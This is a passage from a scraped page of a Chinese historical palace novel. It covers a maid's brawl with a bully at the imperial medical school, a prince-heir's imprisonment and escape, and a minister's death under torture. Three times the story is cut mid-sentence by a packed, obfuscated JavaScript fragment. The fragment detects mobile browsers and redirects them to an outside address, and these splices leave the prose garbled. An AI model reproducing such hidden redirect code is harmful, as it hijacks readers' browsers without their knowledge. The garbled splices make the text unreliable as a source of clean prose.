“有什么可奇怪的?” “就算黎亲王府再如何没落,往年军队凯旋,圣上都要亲自来迎。今年怎的……” “今年不一样嘛。”言罢他挥了挥手,“这场仗是替西戎打的,就算胜了,干咱们大容什么事?况且距离世子殿下去那蛮夷之地,已经过去整整两年了吧……若不是你提起,我都快忘了他长什么样子。” 女子嘴唇翕动:“世子殿下未免有些太可怜了。” “可怜什么?”他嗤笑一声,“可怜之人必有可恨之处,我听我阿爹说啊,就他娘之前做过那档子事,有其母必有其子。自作自受罢了,哪儿轮得到咱们来可怜?” 他们脚步顿了顿,广场边的大梧桐树下,此时人头攒动。 “赶上官学医学兴办,想来少不了大人物。也不知今年要来几个新人呢?” “放榜了,咱们过去看看吧。” 叶灼将扫帚一丢,跟在二人身后。 那群人挤在一块儿,眼神扫过桂榜。看起来与她差不多年纪,无不是衣着华丽、披金戴银,大的约莫十四五岁,小的则只有七八岁。 “就说老子能中吧!” 少年生得油头粉面,头戴金丝抹额,指着榜单大呼。 叶灼挤过人流,眸光落在最末尾的名字:许昭昭。 “恭喜许少爷,贺喜许少爷!”穿学子服的纷纷拱手庆贺。 “早听闻京兆尹家公子不同凡响,今日一见,果然名不虚传,令诸位昭昭在目呐!” “昨日我阿娘特地去城隍庙求了签,连抽三签,皆为上上。” 许昭昭说着,随手扯过一人的衣领,“你可知这说明什么?” 那人畏畏缩缩:“自、自是说明……许少爷乃是、是受城隍爷保佑,紫微星降世!” “你说话好听,老子赏你。”许昭昭松开手,扔了锭银子过去,“以后,你就是老子的跟班了。自报家门来,让老子认认。” “我、我叫胡广,家父乃是骠骑将军胡乾。” “你竟是胡将军的儿子?看不出来啊。” 胡广擤着鼻子,一抽一抽地道:“我阿爹多、多年前从军西征去了,我一个人在家,只有额娘相伴。” “小结巴,以后替老子好好办事。有我爹撑腰,亏待不了你。” 胡广接过银子,哈巴狗似地点头。 “来,小哈巴狗。”许昭昭戏谑地笑,“嚎两声给老子听听。” 胡广缩着脖子,面露难色。 “嗯?”许昭昭眼睛一瞪,“你敢不听老子的话?” 众目睽睽之下,胡广咬了咬牙。 “汪……汪!” 他满意地拍手大笑:“你们看,他真叫啊!” 众人跟着附和笑起来,似是迁就,又似乎早已对这套规则习以为常。寒暄半晌,他们互相作揖:“往后大家就是同门了,三载同窗,还望相互帮衬啊!” 叶灼实在看不下去,不由得一阵恶寒。 “拼爹算什么本事……”她小声嘀咕。 “你说啥?” 叶灼怔了怔。这人脑子不太好使,耳朵怎的这样灵? “你一个扫地打水的丫鬟,敢说老子没本事?”许昭昭怒目圆睁,径直走到她面前。 众人齐刷刷朝她望去,却见许昭昭扬起手。一巴掌呼过之际,被猛地拦下。 “扫地怎么了?”她捏紧拳头,“是你先动手,可别怪我还手啊。” 以前在古川,叶灼没少和人打架。 包括但不限于教训地痞流氓、追回扒手扒去的钱、救被轻薄的良家妇女、被江湖帮派要保护费……总之她揍过的人太多,想揍她的人也太多了。比她大几岁的男孩尚未必打得过她,更别提这上京娇生惯养的公子哥。 “痛痛痛痛痛!” 力道稍微使大些,许昭昭一阵吃疼,捂着手腕叫起来。 “你看,我就说你没本事吧。” 叶灼不由分说,将他反手一拗,手臂拧成了麻花。围观群众吓得连连后退,这也太暴力了吧? “我靠双手挣钱,不似你,只能靠拼爹活着。” 许昭昭背对她嗷嗷直叫:“痛死了!你这人奴,好大的狗胆,快放了老子!” “再说一遍试试?” “要折了,手要折了!” 叶灼微微一笑:“放心吧,我拿捏得住,不会折的。” “你们还愣着看做什么?!”许昭昭抻着脖子,吱哇乱叫,“薛懿、胡广,那边傻站着的,还不快来帮忙,帮老子把她撵走啊!” 几人畏手畏脚,刚前进两步,叶灼将他反手扣紧:“谁敢上前帮他,这双胳膊,可就保不住咯。” “你们不许过来!” 许昭昭吓得脸都白了,终于崩溃,“姑奶奶,我错了!想要多少银子,我给你就是,别再折磨我了!” “谁稀罕你的银子。”叶灼游刃有余地道,“适才谁先动手的?” “我,我先动的!” “你错我错?” “我的错,我的错!你放了我,我不追究你!” “在场诸位都听到了,做个见证。”她朝众人道,“诸位都是官家子女,说话可要讲信用啊。” 就要松手时,许昭昭反手挣开,如疯狗般扑过来。奈何身躯不如她来得灵巧,叶灼侧身闪躲,反令他扑了个空。 起身破口大骂,门牙竟磕掉半颗:“他奶奶的,老子和你拼了!” 叶灼往他膝盖一踢,疼得他眼泪直流。趁其弯腰,绕到他身后,这回钳得更紧。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15642454|172603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “伤筋动骨一百天,可准备好了?” 许昭昭唾骂一声,“你这该死的人奴!若是被我阿娘知道,活该扒了你的皮!” “不用你阿娘来,姑奶奶这就教你做人。” 叶灼抄起拳头,作势要动手。 “长岛郡主来了!” 适才打得沉浸,浑然没注意到人群四散开来,皆是躬身行礼。 马车停落于大门前,一名女子沿道走来。 行过之处,空气仿佛凝滞。风却在动,尘埃轻舞,悄然拂过她身侧。 “你们在干什么?”声音清雅如碎玉,温婉中带有威慑。 回首望去,蓝衣女子裙摆翩然。一头绢发束起螺髻,眉宇柔中带刚。明眸皓齿,声如其人,郡主风范浑然天成。 叶灼这两日来太医署,常和宫女们打听,对皇城中的风云人物,多少有所耳闻。 夕山南水,新黎长岛郡,有佳人善弓。她便是那名被封郡主的亲王府嫡女,卫明川的亲妹妹。 “郡主,这死丫鬟以下犯上,动手打人!郡主定要替我做主啊!”许昭昭一把鼻涕一把泪地控诉。 恶人先告状? 叶灼看过不少类似话本,此刻总算有了用武之地。 她将滞于半空的拳头扭转个方向,深吸一口气,嗓门盖过他:“郡主,冤枉啊!奴婢做活一向老实本分,从不曾主动招惹谁。就是给奴婢一万个胆,又怎么敢打人呢……” 她使劲浑身解数,挤出一滴眼泪,瘫坐在地。任许昭昭百口莫辩,此情此景,竟成了她反客为主。 卫知瑶俯下身,温声道:“怎么回事?” 看来这郡主是个明事理的人。叶灼嘤嘤地啜泣,一只手假装抹泪,伸出食指颤巍巍指向许昭昭。 “回郡主,适才奴婢于井边打水,偶遇许少爷经过,不小心将水溅到他裙摆上。奴婢当即拿帕子擦,却遭到许少爷辱骂。尚来不及辩驳,便遭这般殴打……奴婢知郡主赏罚分明,恳请郡主,为奴婢主持公道!” “你……你!”许昭昭气得浑身发抖,“根本是胡说八道!分明是她欺负我,将我压在身下,还打掉我半颗门牙!” 叶灼踉跄着躲到卫知瑶身后,扯了扯她的衣袖,哭得更委屈了。 卫知瑶轻抚她的头,转向许昭昭:“你生得人高马大,她一个小姑娘,怎么有力气压倒你?” “郡主,您千万别被她骗了!此人甚是狡猾,嘴里没一句真话!” “我分明看到,是你在打她。”卫知瑶牵起叶灼,“今日我本不是来管闲事。但沈博士有言在先,既来到太医署,不论官职大小、身份尊卑,皆应以士人之礼相待。念在同门之谊,今日之事就此了结,往后若再有学子寻衅滋事、欺负下人,即便你是京兆尹之子,我也不会再留情面。” 说完她往桂榜浅扫一眼,待找到自己的名字,转身离去。 叶灼被她牢牢护在身后,朝许昭昭做了个鬼脸。 “拼爹你也拼不过。” 读出她的口型,许昭昭恨得牙都要咬碎。 “老大,消消气。”胡广拿出汗巾,“这是您的半颗门牙……” “他奶奶的,一个咒禁科小喽啰,也敢跟老子装。”话说一半扯到伤口,疼得斯哈。 “可是老大,适才您不是说不予追究么?” “闭嘴!” “她得意不了多久的。”云鬓高挽、杏面桃腮的女子稍作示意,众人侧耳来听。 “你们可不许往外说啊。今早我去探望薛表姐,近几日宫中都在传。她那个哥哥犯了事。黎亲王如今处处受制,就连狼牙军归来,庆功宴都被延到了盂兰盆节之后。” 众人闻言惊骇,这消息可了不得! “等着瞧吧。不出一月,他们家准要玩完。” 8.无声(八) 烈日当空,狼牙军整齐划一,列队进京。 “邱山,现在几时了?”卫明川问。 “回殿下。太阳西跌,正是一日中最热的时辰,应是未时。” 火凤门开,卫明川下马跪地,接过诰书。左右执金吾让道,宫中车马前来,将兵器俘虏押送至皇城正门。 众人卸甲,移至金銮殿前。 “新黎世子卫明川,携十万狼牙军班师回朝,特来面圣——” 纳兰燮坐于龙椅之上,头顶冕冠,白玉珠为十二旒,仪态威严。膝下文武百官,皆手执笏板,正立于殿内。 “陛下。”卫明川屈膝而立,行君臣之礼,“臣等自金沙关凯旋而归,俘获敌军兵马两万,粮食万石有余。我方军马损失五千,伤兵九千。冯殷叛党六十有三,现已送往诏狱审问,余党尚在抓捕之中。” “平身。”纳兰燮挥袖道,“此番远赴西戎,平羯之乱,世子首当其冲,辛劳有加,当予重赏。” 卫明川道:“为国分忧,乃狼牙军分内之事。” “世子,不必如此客气。”纳兰燮唤来内侍。三个箱子被抬上殿来,结结实实放在卫明川面前。” 一个箱子装的是些金银珠宝,一个箱子是精锻的兵器。待所有朝臣看清第三个箱子中装的是何物,纷纷举目四望,噤若寒蝉。 “金银布匹,刀枪剑戟,还是这把上等的宝剑。不知世子,想要何种赏赐?” 卫明川抬眸,对上纳兰燮眯起的眼,赶忙低头垂目。 “回……回陛下,臣不敢!” “哦?”纳兰燮勾起嘴角,让内侍撤下宝箱。唯独举起那把剑,细细端详,“世子何必如此紧张。你与你的父亲乃是大容的重臣,朕能打下一片江山,多亏有亲王府辅佐,你王世子功不可没。你父王又与朕交情匪浅,区区一把宝剑,不过聊表朕的一点心意,何足挂齿?” “尚方宝剑乃陛下佩剑,臣只是一介武夫,岂能与此剑相配!” “既如此,倒是朕不识趣了。”纳兰燮抚摸着剑身,将其放回箱中。“冯殷尸体何在?” “回陛下,就在皇城之外。” “有人检举,你为救一名囚犯的命,这才杀了冯殷,可有此事啊?” “回陛下,冯殷乃是服毒自尽。”卫明川说道,“是臣未能及时发现,不慎错失良机。未能带回潜逃叛党,臣愿自去领罚。” “这样啊……”纳兰燮敛了敛眸,“那世子返京途中放走的那名死囚,现在何处?” “阿嚏——” 从太医署出来,叶灼哭到一半,打了个大大的喷嚏,“多谢郡主,若不是仰仗郡主您相助,奴婢指不定要被许少爷打成什么样子……” “行了。”卫知瑶转身,“这里没有别人,在我面前,你就不必再演了。” 叶灼心头一惊,难道她早就看出来了? “奴婢,奴婢不敢。” “我看你这小丫头,可敢得很。” 卫知瑶打量着她。一头蓬乱的发,马尾歪向左边,脸庞稚气未脱。适才打架滚的泥巴,还东零西散挂在鼻头、颊边,一对杏眼圆而有神,正怯生生地瞧着她。 “你是新来的吧?以前没见过你。” 她愣愣地点头。 “许昭昭此人睚眦必报,早在太学时,便常与薛懿、陈姜一道欺凌同门,在皇城中已是臭名昭著。我虽帮了你,往后你在太医署遇见他们,最好绕道走才是。你一个小丫鬟,在上京姑且没个依靠,今日招惹了他,又让他蒙受这般屈辱,他日再见之时,必不肯轻易放过你。” “我虽言语招惹,却是他动手在先。”叶灼义愤填膺,挥了挥拳,“若敢来找茬,便让他再尝尝我这拳头的厉害!” 从没见过这样胆大的丫鬟。望着这副生面孔,无奈之余,竟莫名生出些亲切。 “我家也有个丫鬟,与我一同长大,似你这般活泼,爱与人打抱不平。要说起来,你这一举,的确替不少学子出了口恶气。” 叶灼不由得奇怪,“既身为郡主的侍女,怎却不见她跟着?” “今日太医署放榜,我来瞧一眼,独行来得更自在。” “郡主也参加了入学试么?” 她突然想到师父以前说过,他们行医的属于中九流,连士农工商都比不得。如此吃力不讨好,为何京城人人上赶着学呢? “今年朝廷兴办太医署,另置首席医官之位,盛起习医之风。医者地位不比以往,凡八品以上官员子女,无官衔者不少,往往在鼓动之下择业进修。对了,你家乡在何处?” “奴婢来自古川。” “上京气候多变,夏夜骤凉,你记得添置衣裳。往后若有什么不懂的,可以来咒禁科寻我。” “咒禁科,那是学什么的?”叶灼好奇地道。她只知道医、针两科,对于另两科课业内容,也只有过粗略了解。 “单听咒禁二字,莫非是街头又唱又跳的那派祝由大师?还是巫蛊……” 话音未落,卫知瑶捂住叶灼的嘴巴,连忙道:“这话可说不得。” “为什么?” 环顾四周,见四下无人,她悄悄道:“早些年前,新帝继位,常有人以巫蛊之术祸乱后宫。咒禁科本意在栽培巫医,是以巫拔除邪魅。从前巫医不分家,直至巫蛊触怒龙颜,人们谈巫色变,咒禁科也就开始没落了。” 松开手,叶灼猛吸一口气,“那为何现在还在呢?” “叶少卿重振太医署时,经众博士商讨,决定保留下此科。虽然得以保留,但终究转为闲置,只学些催眠、闭气之术。” 二人有一搭没一搭聊着。街道那端,扎有双丫髻的少女形色匆匆。 “小姐,不好了!” “阿茨?”卫知瑶赶忙扶住她,“怎么了?” “世子殿下,世子殿下他……”夕茨几乎要哭出来。 “别着急,慢慢说。哥哥他怎么了?” “狼牙军凯旋,圣上以尚方宝剑试探殿下,说是殿下归京途中私赦囚犯,有谋逆之嫌……现将殿下押入大牢,正要严刑审问!” “什么?!”卫知瑶心中揪紧,“父王呢,陛下可有追究亲王府?” “奴婢也不知。据说放走的是冯殷叛党,胡将军与赵仆射替殿下求情,都被降了罪。” “先回黎州,将此事禀报父王。”言罢,她拉起夕茨。又想起什么,倏尔转头。 “对不住。此事涉及家兄生死,事发突然,还望你替我保密。” “郡主于我有恩,大可以放心。”叶灼定定地道。 目送二人远去,她回想适才对话。仔细一琢磨,始觉有些不对劲。 长岛郡主的兄长,应是卫明川。狼牙军归京途中,被放走的那名囚犯—— 不正是她么? …… 御史台,诏狱。 永玺年间,御史台设置台狱。自新政改革后,重大案件皆报御史台监审,羁押朝廷重犯。总而言之,能被押送往这里的,都是世间最为穷凶极恶之人。 “世子殿下,您吃点儿吧。”狱卒将牢饭往里推了推。 “您已经三天没吃东西了,再这样下去,是个人都要受不住的。” 卫明川没有反应,瘫坐在腐草堆里。残缺的布料掩盖伤痕,血与肉粘连在皮肤上,他却面如死灰,仿佛感觉不到般。 面前摆有几个馒头、几碗白粥,连攒数日,有的发霉腐烂,臭味阵阵,引来蝇虫飞舞。 狱卒摇了摇头,只好作罢。 这时隔壁间丢进来一人,那狱卒边赶边喊:“进去!” 卫明川随意一瞥,此人甚是眼熟。 “赵大人?!您怎么也……” 赵光乃朝廷尚书左仆射,曾与黎亲王共同辅佐建立新政,以身系天下安危。如今虽已年逾六十,仍是一头黑发乌亮,风华不减当年。 见是熟人,他眼中有了神采。然而想到此时身居何处,几分凄凉便涌上心头。 “世子殿下。”枷锁在身,赵光仍不忘拱手作揖,“殿下为国立下战功赫赫,臣不忍看殿下受此屈辱,特来相陪。” “赵大人莫不是因为我,这才……” “殿下,多有言重。” 江国舅势大,圣上听信宦官一面之言,欲降罪卫明川。赵光看着他长大,卫明川是如何从那个马背上的少年,成长为过五关、斩六将的新起之秀,这一路所受的苦,他作为长辈看在眼里,只觉疼在心上。 堂堂狼牙军首将,凭借武艺拼杀至今,纵使缉拿叛党,也不忍城中百姓受难。似这般秉性良善,怎么可能会有反心?他身为朝臣一员, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15658187|172603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又如何忍心看卫明川蒙受冤屈? 赵光笑得淡然,仿佛不是身在狱中:“殿下,老臣年事已高,为官路走到这里,够长了。恨只恨千里马常有,而伯乐不常有,殿下少年英才,臣却无能为力,不能以我性命,换殿下之命!” “赵老仆射……” 泪湿了眼眶,卫明川朝他深深作了一揖。 窗外天色渐暗,地面昏暗潮湿。凭借一点烛火,门缝透出一线光。 透过微光,头戴斗笠的女子进门,悄声与狱卒说了些什么。递上一锭白银,使了个眼色。 狱卒道:“务必尽快。” 她接过钥匙,径直向卫明川走来。打开笼门,斗笠下,一张清丽面容乍现。 “是你……?”语气有那么一瞬怔然。 “父王已经在城外接应。”卫知瑶压低声音, “事不宜迟,快跟我走。” “能逃去哪儿?”他一把挣开,眼中的光冷如寒霜。 “先出城再说。北门通水路,就算被发现,有漱江地形阻隔,他们没那么容易追上。” “……我不走。” “哥哥!”她语气带着急切。 卫明川脸色苍白,踉跄两步,“莫非你,也相信我与那白翎卫私通?” “我当然不信!可是信与不信,岂是你我能做主的?” 见他犹疑,卫知瑶拉过他的手臂。解开镣铐,两道红痕深嵌皮肉,触目惊心。 “哥哥,这不仅是为了你,更是为整个亲王府。眼下这是唯一活命的机会!” 卫明川死死定在原地,望向赵光这一眼,似乎经历万般挣扎。 “殿下,走吧,快走。”赵光颤颤巍巍起身,“有老臣垫后,殿下唯有先逃出上京,才能够保全性命。” 他上前搀扶,“扑通”一声跪下,眸中泛泪:“师父!我不能负了您……” “老臣已是迟暮之年,没有杀的价值。可殿下不同,大容的百姓需要殿下,您必须要活!只有殿下活着,老臣这一片苦心,才算不付之东流,容国的江山社稷,才有望不落入贼人之手!” 言罢,赵光狠下心来,用力将他推开。 狱门“嘭”地阖上,隔着一道铁窗,卫明川哽咽不已。 “师父待我恩重如山,卫某归来之日,必然第一时间,赶来救您!” 远远地,赵光回给他一个笑。牢笼冷湿,月光进不来也出不去,笼罩少年少女的周身。 “走吧,走得远远的。离开上京,逃到天涯海角,不要回头。” 禁军统帅抵达之时,狱门大开,不见卫明川的踪影。唯赵光披头散发,斜卧在稻草堆里。 适才受过重刑,血污挂在长须上,嘴里正絮絮叨叨。 邢真执剑上前,揪起眼前人的衣领。 “黎州世子呢?” “走了。” “走了?!”他眉毛一横,欲要质问去向,反被狠狠啐了一口。 “你们找不到他的。” 抹了抹脸颊,邢真手掌颤抖,眼中戾气滚涌。 “老东西,我看你是活腻了?” 赵光嘴角挂起若有似无的笑。他知道,自己是要死了。 可是死有什么值得惧怕的? 闭上眼,十年前的光景,骤然浮现眼前。 先帝在位之时,无有战事,黎亲王卸甲前往,与其共同游猎。 彼时江氏未封侯,太子景头脑尚清明。卫明川年幼,吵闹着要打猎,执把弯弓,一箭射下林中高飞的海东青。群臣瞩目,先帝与黎亲王相视而笑,皆称道:此子生来便属于疆场。卫明川果不负众望,十岁随军出征,斩敌无数、所向披靡。 赵光有幸做过他的师父,授他礼法诗书。一步步送他上高位,本是为图报国——可正是这自以为是的一举,将他从王世子推落神坛,摔得粉身碎骨。 金沙关凯旋战功不计,反引来杀身之祸,受此屈辱。他这个做师父的,却无能为力。 是朝中奸佞作祟?是陛下的错,还是他的错? 赵光竟不知道了。 刑架被血色浸染,鞭笞声不绝于耳。他的胸口剧烈起伏,无数光点从眼前闪过,随着最后一下皮开肉绽,尽数化为子虚乌有。 “容国将亡……”他发出一声长吁,“容国将亡!” 9.无声(九) 两日之内,卫明川连夜出逃、尚书左仆射赵光为同谋的消息席卷皇宫。严刑逼供下,赵光惨死,黎亲王府上下不知所踪。 宣宁门外,叶灼躲在暗处。 “万邦朝会将至,这些佛珠香炉、茶叶水果,务必原封不动送到紫宸殿。” 掌事宫女领头,十几名豆绿罗裙的宫女沿拂春街走来。 一名宫娥就要迈过门槛,身后笼来一只手。 尚未来得及尖叫,那只手捂住她的嘴,将她带向石柱后。 “帮我个忙呗?”叶灼眨巴着眼,一脸人畜无害。 “唔唔……” “你先答应不大声呼救,我就放了你。” 宫娥匆匆点头。 不想刚松开手,她便扯着嗓子,直呼:“救——” “别把人引来!”叶灼吓得又捂了回去,“小忙一桩,有银子拿,你就说帮不帮吧?” 支支吾吾半晌,她点头应下。叶灼终于松手,指了指那身绿罗裙:“把我俩的衣服换一下,今天我替你。” 宣宁门进去,正对的便是太常寺。 由三座大殿组成的最高礼乐机关,陈设雕梁画栋、红墙黛瓦,甚是华丽。 “祭祀用五色神帛、香烛、祝版均需采办,黍稷预备十斛,大典前一日再行省牲。” 叶无声叮嘱完一连串,胥吏应声而退。 盂兰盆节在即,散值比平时早。处理完寺中事宜,已过酉时。 宫女们排成一列,齐齐往紫宸殿方向去。 “瞧。”有一人低声道。“是叶少卿。” 叶灼已然换好衣裳,混迹于宫女行列之中。 暮色将尽,叶无声迈下石阶。沐浴在晚霞余晖中,一身绯色官袍未褪,腰间别有银鱼袋。 青丝尽数束进幞头,比她记忆中半束半披的模样,多了几分庄严肃穆、一丝不苟。 时隔三年,再见这张脸,叶灼心头一颤。 眼前之人,是她心心念念、找了三年的师父啊。她幻想过千百万次重逢,好不容易等来这一刻。师父活生生站在她的面前,却显得那么突然、那么不真实。 叶灼咬咬牙。偏偏眼下有别的事要做,不能与他相认。 “你们说,像不像尊神像?”宫女小声嘀咕。 “他走过来了。” 大道宽敞,宫女们在右,叶无声往左,欲要出城。 经过身侧时,他步履稍缓,微微侧目。 叶灼低眉垂眼,加快了脚步。这些宫女清一色的豆绿罗裙,师父又这么久没见她,应该不会被认出来吧? 只听旁边那人道:“叶少卿好像在看我。” “别瞎说。”另一人应道,“宫里贵女小姐那么多,多少桩请婚他都不答应,看你做什么?” 叶灼屏住呼吸,不敢出声。从皇城进来这一路,步步如坐针毡。 呼,好险……师父应该没注意到她。 还以为瞒天过海了,悬着的心总算放下。怎料路过转角之时,一股蛮力从背后袭来。 紧接着,手里盛瓜果的托盘飞了出去。 “谁……!” 缓过神来,两堵严墙促狭挤着她,眼前男子脸色深沉。 “阿灼。” 声音如珠玉、如山泉,在极力压低之下,带着凛然磁性。这一声呼唤,她聆听过千百回,这辈子都不会忘记。 “你为何会在此处?” “师师师师父。”重逢来得突然,叶灼咽了咽口水,牙齿咯吱作响。 她一时不知作何解释。从小到大,在叶无声面前,她从来编不出一句谎话,就算编了也会被识破。若是如实招来,说自己混进皇宫,是为了帮卫明川说情…… 师父会答应么? “这里是皇城,不是你该来的地方。” “为、为救一个朋友,阿灼实在情非得已。”叶灼支支吾吾,“此事因我而起,恕阿灼不能从命!” 见僵持不下,她转身就跑。 然而下一瞬,肩膀被猛地钳住。一根针刺破皮肤,蚂蚁啃啮般的疼痛爬上脖颈。 “师……父……” 极力支撑意识,奈何一阵眩晕袭来,身子竟不受制倒向一边。 叶无声松开手中毫针,上前揽过她。 怀中小人沉沉睡去,眉眼舒展,同记忆中如出一辙。时隔三年,这个小丫头,终究还是来了上京。 “你不该回来。”叶无声叹了口气。 当初他离开古川,步入朝野之时,早该料到有这一日。只是他没想到,这一日竟来得这样快。 他警惕四顾,抱着她出了城门。恨他也罢,说他无情也罢…… 只要能让她死了这条心,他这个做师父的,宁可多延一日是一日。 再醒来时,叶灼双手被反绑着。 马车颠簸,她用头顶开车帘。经过山道,外头已是白天。车夫在前骑马,身侧跟了一高一矮两个蒙面护卫。 她默默把头缩回车里。回想昨日被扎的位置,应是颈后部的风池穴。进针不深,完美避开致命点。 力道拿捏得巧妙,一扎便晕。 师父竟将针法用在这种奇怪的地方…… 揉着酸疼的脖子,她心中一股无名火升起。想要挣开束缚,但这麻绳打的是死结,若不拿来剪子,绝不能轻易解开。 等等——要想进宫,眼下不是天赐良机么? 叶灼灵机一动,将头探出车窗:“大哥,咱们这是去哪儿呀?” “我等奉命,将你护送至古川。” “奉谁的命,可有抓捕令?” “什么抓捕令,”车夫侃侃而谈,“我们是车队送人,又不是衙门抓人。车队受人之托,只负责保护你,把你安全送到目的地。小丫头片子,那么紧张做什么?” “既没有抓捕令,你们凭什么捆我?” “我等拿钱办事,捆你是雇主的要求。那人称怕你不老实,不关我们的事。” “把我送回上京呗。” “?” 几人疑惑之际,叶灼一个鲤鱼打挺,蹦跶着跳下车。双脚被绑着,只得一蹦一跳行进,活像只小僵尸乐此不疲。 护卫上来擒她,她倒不反抗。与他们玩了一圈捉迷藏,乖乖将手伸出。 “你们可知我是谁?” “管你是谁!”护卫气喘吁吁,束紧了麻绳,“俺们拿了钱,就得将人送到,可不能让你跑了!” “干你们这行的,应该拿不到多少银子吧。”叶灼清了清嗓,“二位就不好奇,我为什么要跑吗?” 见她讳莫如深,两名护卫大眼瞪小眼。 她招呼二人过来,小声道:“我是朝廷要犯。” “……?” 护卫不耐烦挥了挥手。 “哎哎哎,别不信啊!我骗你们做什么?” 车夫嗤笑一声:“我看是哪家小儿不听话,离家出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664155|172603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走来到上京,被长辈抓了吧?” “狼牙军凯旋,缉拿叛党那档子事,你们应该知道吧?那条漏网之鱼就是我!我本是要到上京自首,你们将我放了,那可是大大的罪过。若是不信,等我到了古川,朝廷再向你们要人,届时可就来不及了!” 叶灼说着,比了个手势。“放走死囚,可是要掉脑袋的哟。” “这……” “把我押回京坐牢,赏银可抵你们半年工钱。既省了交差,又有银子拿,何乐而不为呢?” 两人大眼瞪小眼,喉头蠕动。个矮的摸了摸脖子:“老兄,她说的要是真的……朝廷真查过来怎么办?我还不想死啊。” “你以为我想?” 一番眼神交流,他们将叶灼带上马车。车头掉转,消失在山路尽头。 彼时的叶灼,尚不知此行一返上京,往后便再没有回头路可走。今日之抉择,又会给未来的她,带来一场怎样的浩劫。 十二岁的她,不识得天高地厚,浑身只有一股闯劲。一旦下决心做某件事,纵使前方刀山火海,照样能不计后果。 何况此时,她心中除了救卫明川,再没有其他。 …… 出了阳明关,北逃数日。越过高山密林,翻过泥泞沼泽,三人二仆,策马一路,沿小道而行。 凉州地界,风沙刺得人脸颊生疼。此行欲借探亲之名,前往西戎避难,必须经过不归冢。 “吁——” 黎亲王卫昌随之停下,卫明川勒紧缰绳,翻身下马。 “怎么了?” 拨开芒草,他屈膝跪拜,眼前是座高耸的山头。 “父王,且行静候片刻。”卫知瑶朝身后道,默默下马,跟上前去。 此山原是座无名山,后赐名不归冢。望见这满山坟墓,她大抵明了其中含义。 金沙关一战,三千死士遭敌军水淹。昔日患难与共的战友,一夕之间,尽化为漫山遍野的荒坟。许多尸体未被找到,只有座衣冠冢立在这,他们的灵魂,也只得永远被困在深山之中。 不归冢,不归冢。魂兮未归,徘徊他乡。 将士的英灵不能返乡,他却要四处流亡。 尽管于心不忍,卫知瑶还是道:“我们没有时间逗留。” 踟蹰半晌,卫明川恍然起身。就要上马之际,身后传来马蹄声。 “不好,难道是追兵?” 回首望去,远处山包之上,那人高举卷轴,策马直奔他而来。 “世子殿下!” 若换做别人,兴许还有所顾虑。可若是眼前之人,断不会对他不利。 刀眉剑目、身着甲胄的青年下马作揖:“王爷、郡主,世子殿下!” “邱山?”卫明川令他平身,“可是朝中出了什么事?” “陛下有令,狼牙军班师,庆功宴将于七月十四举办,特邀殿下出席。” 卫知瑶骤然一惊,“劫狱已是忤逆大罪,陛下此举,显然要置哥哥于死地。” “殿下,你们快走吧。”邱山道,“这庆功宴,摆明是场为殿下而设的鸿门宴。末将前脚拦截追兵,已计划善后,以假死之名禀报陛下。” “此行不易,辛苦你了。”卫知瑶道,“看来陛下杀心已决。父王,哥哥,我们快走。” 似乎下定某种决心般,卫明川敛目沉思,不见动摇之意。 “哥哥?” “我不走了。”他斩钉截铁。